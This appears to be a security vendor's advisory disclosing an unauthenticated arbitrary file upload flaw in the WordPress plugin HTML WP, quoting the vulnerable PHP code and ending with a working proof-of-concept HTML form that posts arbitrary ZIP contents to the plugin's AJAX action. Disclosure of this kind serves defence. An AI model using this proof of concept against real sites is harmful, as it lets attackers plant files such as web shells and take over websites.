16 Nov 2022

Arbitrary File Upload Vulnerability in HTML WP

One way we help to improve the security of WordPress plugins, not just for customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that, we caught one of those vulnerabilities, an arbitrary file upload vulnerability in a brand new plugin, HTML WP.

We now are also running all the plugins used by our customers through the same system used for the proactive monitoring on a weekly basis to provide additional protection for them.

The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.

We tested and confirmed that our firewall plugin for WordPress protected against exploitation of this with either of two non-default protection mechanisms, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.

Arbitrary File Upload

The plugin makes its functionality, which is to create a new theme based on contents of an uploaded ZIP file available to even those not logged in to WordPress. That occurs because the relevant function htmlwp_upload_file() is made accessible through WordPress’ AJAX functionality to even those not logged in to WordPress:

39
40
add_action('wp_ajax_htmlwp_upload_file', 'HTMLWP_Plugin::htmlwp_upload_file');
add_action('wp_ajax_nopriv_htmlwp_upload_file', 'HTMLWP_Plugin::htmlwp_upload_file');

Only those logged in to WordPress should have access.

None of the checks done at the beginning of the function, which is located in the file /html-wp.php, restrict who can access that:

89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
public static function htmlwp_upload_file(){
	if(isset($_POST['theme-name'],$_FILES['file'],$_FILES['file_screenshot']))
	{
		//echo $_FILES['file']['size'];
		//print_r($_FILES['file']);
		$maxsize=wp_max_upload_size();
		$acceptable_zip = array(
	"application/x-rar-compressed", "application/zip", "application/x-zip", "application/octet-stream", "application/x-zip-compressed"
);
		$acceptable = array(   
	'image/jpeg',
	'image/jpg',
	'image/png'
);
		if(($_FILES['file']['size'] >= $maxsize) || ($_FILES["file"]["size"] == 0)) {
  //  $errors = 'File too large. File must be less than 2 megabytes.';
	$error=true;
$error_msg='Zip File too large. File must be less than '.esc_html( size_format( $maxsize ) );
 echo json_encode(array('error'=>esc_html($error),'message'=>esc_html($error_msg)));  
	  exit;
}
elseif(!in_array($_FILES['file']['type'], $acceptable_zip) && (!empty($_FILES["file"]["type"]))) {
// $errors[] = 'Invalid file type. Only PDF, JPG, GIF and PNG types are accepted.';
	 $error=true;
$error_msg='Invalid file type. Only Zip file accepted';
 echo json_encode(array('error'=>esc_html($error),'message'=>esc_html($error_msg)));  
	  exit;
}
elseif(!in_array($_FILES['file_screenshot']['type'], $acceptable) && (!empty($_FILES["file_screenshot"]["type"]))) {
// $errors[] = 'Invalid file type. Only PDF, JPG, GIF and PNG types are accepted.';
	 $error=true;
$error_msg='Invalid file type. Only JPG and PNG types are accepted.';
 echo json_encode(array('error'=>esc_html($error),'message'=>esc_html($error_msg)));  
	  exit;
}
elseif(($_FILES['file_screenshot']['size'] >= $maxsize) || ($_FILES["file_screenshot"]["size"] == 0)) {
  //  $errors = 'File too large. File must be less than 2 megabytes.';
	$error=true;
$error_msg='Screenshot File too large. File must be less than '.esc_html( size_format( $maxsize ) );
 echo json_encode(array('error'=>esc_html($error),'message'=>esc_html($error_msg)));  
	  exit;
}
else{

Any files contained in sub-directories of the uploaded ZIP file will be uploaded on to the website in the directory for the new theme.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

After four years, the moderators have finally tacitly admitted they were behaving inappropriately and have made moves to fix the problems (though incompletely), so these full disclosures can be ended if they simply restore access to our accounts and plugins in the Plugin Directory. Hopefully that takes less than four years.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Proof of Concept

The following proof of concept duplicates the upload form that is intended to be accessed in the admin area of WordPress at /wp-admin/admin.php?page=HTMLwp-setings. Any sub-directories of the upload ZIP file will be added to the new theme created by the plugin.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=htmlwp_upload_file" enctype="multipart/form-data" method="POST">
<p>Theme Name</p>
<input type="text" name="theme-name" />
<p>Upload File</p><input type="file" name="file" />
<p>Upload Theme Screenshot</p><input type="file" name="file_screenshot" />
<br>
<br>
<input type="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published. Required fields are marked *